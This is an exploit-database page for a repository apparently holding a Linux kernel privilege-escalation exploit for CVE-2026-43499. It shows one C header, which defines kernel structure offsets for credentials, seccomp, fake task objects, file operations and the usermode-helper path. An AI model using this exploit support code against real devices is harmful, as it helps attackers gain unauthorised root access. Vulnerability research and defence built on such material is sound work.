Exploit databaseDownload repository ZIP
GH-37884b501ca18deecf95791eca7314e2
shubhampathak65/cve-2026-43499
Sources for CVE-2026-43499
166 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files15
shubhampathak65/cve-2026-43499Revision 028949c17bfa
- ↑..Parent directory
- kernelsnitch/
- common.h
- fops.c
- main.c
- miniadb.c
- offset.h
- pipe.c
- pipe_physrw.c
- root.c
- runtime_struct_offsets.h
- slide.c
- sysctl.c
- target.h
- umh_root.c
- util.c
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
core/runtime_struct_offsets.h
Text · 3,358 bytes#ifndef RUNTIME_STRUCT_OFFSETS_H
#define RUNTIME_STRUCT_OFFSETS_H
#include "../devices/offsets.h"
extern const struct kernel_offsets *active_offsets;
extern uint64_t p0_kimage_text_base;
#define _RSO(field, fallback) (active_offsets && active_offsets->field ? active_offsets->field : (fallback))
#define _RSO_64(field, fallback) ((uint64_t)(active_offsets && active_offsets->field ? active_offsets->field : (fallback)))
#define _KIMAGE_TEXT_BASE_DEFAULT 0xffffffc080000000ULL
#undef KIMAGE_TEXT_BASE
#define KIMAGE_TEXT_BASE p0_kimage_text_base
#undef SYSTEM_UNBOUND_WQ_OFF
#undef CALL_USERMODEHELPER_EXEC_WORK_OFF
#define SYSTEM_UNBOUND_WQ_OFF _RSO_64(off_system_unbound_wq, 0)
#define CALL_USERMODEHELPER_EXEC_WORK_OFF _RSO_64(off_call_usermodehelper_exec_work, 0)
#undef FAKE_TASK_PRIO_OFF
#undef FAKE_TASK_NORMAL_PRIO_OFF
#undef FAKE_TASK_TASK_GROUP_OFF
#undef FAKE_TASK_PI_LOCK_OFF
#undef FAKE_TASK_PI_WAITERS_OFF
#undef FAKE_TASK_PI_TOP_TASK_OFF
#undef FAKE_TASK_PI_BLOCKED_ON_OFF
#undef MM_OWNER_OFF
#undef TASK_PID_OFF
#undef TASK_TGID_OFF
#undef TASK_REAL_PARENT_OFF
#undef TASK_ATOMIC_FLAGS_OFF
#undef TASK_REAL_CRED_OFF
#undef TASK_CRED_OFF
#undef TASK_COMM_OFF
#undef TASK_TASKS_OFF
#undef TASK_SECCOMP_OFF
#define FAKE_TASK_PRIO_OFF _RSO(task_prio, 0x94)
#define FAKE_TASK_NORMAL_PRIO_OFF _RSO(task_normal_prio, 0x9C)
#define FAKE_TASK_TASK_GROUP_OFF _RSO(task_sched_task_group, 0x420)
#define FAKE_TASK_PI_LOCK_OFF _RSO(task_pi_lock, 0x9EC)
#define FAKE_TASK_PI_WAITERS_OFF _RSO(task_pi_waiters, 0xA00)
#define FAKE_TASK_PI_TOP_TASK_OFF _RSO(task_pi_top_task, 0xA10)
#define FAKE_TASK_PI_BLOCKED_ON_OFF _RSO(task_pi_blocked_on, 0xA18)
#define MM_OWNER_OFF _RSO(mm_owner, 0x410)
#define TASK_PID_OFF _RSO(task_pid, 0x708)
#define TASK_TGID_OFF _RSO(task_tgid, 0x70C)
#define TASK_REAL_PARENT_OFF _RSO(task_real_parent, 0x718)
#define TASK_ATOMIC_FLAGS_OFF _RSO(task_atomic_flags, 0x6C8)
#define TASK_REAL_CRED_OFF _RSO(task_real_cred, 0x8F8)
#define TASK_CRED_OFF _RSO(task_cred, 0x900)
#define TASK_COMM_OFF _RSO(task_comm, 0x910)
#define TASK_TASKS_OFF _RSO(task_tasks, 0x638)
#define TASK_SECCOMP_OFF _RSO(task_seccomp, 0x9C8)
/* file_operations struct field offsets.
* 6.6 also shifts ioctl/compat_ioctl/mmap (lacks iterate_shared). */
#undef FOPS_LLSEEK_OFF
#undef FOPS_READ_OFF
#undef FOPS_WRITE_OFF
#undef FOPS_READ_ITER_OFF
#undef FOPS_WRITE_ITER_OFF
#undef FOPS_IOCTL_OFF
#undef FOPS_COMPAT_IOCTL_OFF
#undef FOPS_MMAP_OFF
#undef FOPS_OPEN_OFF
#undef FOPS_RELEASE_OFF
#undef FOPS_SPLICE_READ_OFF
#undef FOPS_SHOW_FDINFO_OFF
#define FOPS_LLSEEK_OFF _RSO(fops_llseek, 0x10)
#define FOPS_READ_OFF _RSO(fops_read, 0x18)
#define FOPS_WRITE_OFF _RSO(fops_write, 0x20)
#define FOPS_READ_ITER_OFF _RSO(fops_read_iter, 0x28)
#define FOPS_WRITE_ITER_OFF _RSO(fops_write_iter, 0x30)
#define FOPS_IOCTL_OFF _RSO(fops_ioctl, 0x50)
#define FOPS_COMPAT_IOCTL_OFF _RSO(fops_compat_ioctl, 0x58)
#define FOPS_MMAP_OFF _RSO(fops_mmap, 0x60)
#define FOPS_OPEN_OFF _RSO(fops_open, 0x68)
#define FOPS_RELEASE_OFF _RSO(fops_release, 0x78)
#define FOPS_SPLICE_READ_OFF _RSO(fops_splice_read, 0xb8)
#define FOPS_SHOW_FDINFO_OFF _RSO(fops_show_fdinfo, 0xd8)
#endif